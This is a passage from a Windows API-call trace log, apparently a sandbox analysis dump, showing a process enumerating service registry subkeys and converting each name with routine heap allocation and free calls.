Size=0x80) returned 0x21f2eb0 [0259.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.905] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0259.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.906] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.906] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.906] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0259.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.906] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.907] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.907] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.907] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0259.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.908] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0259.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0259.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.914] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0259.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0259.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.914] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0259.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.915] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.915] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.915] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0259.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0259.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 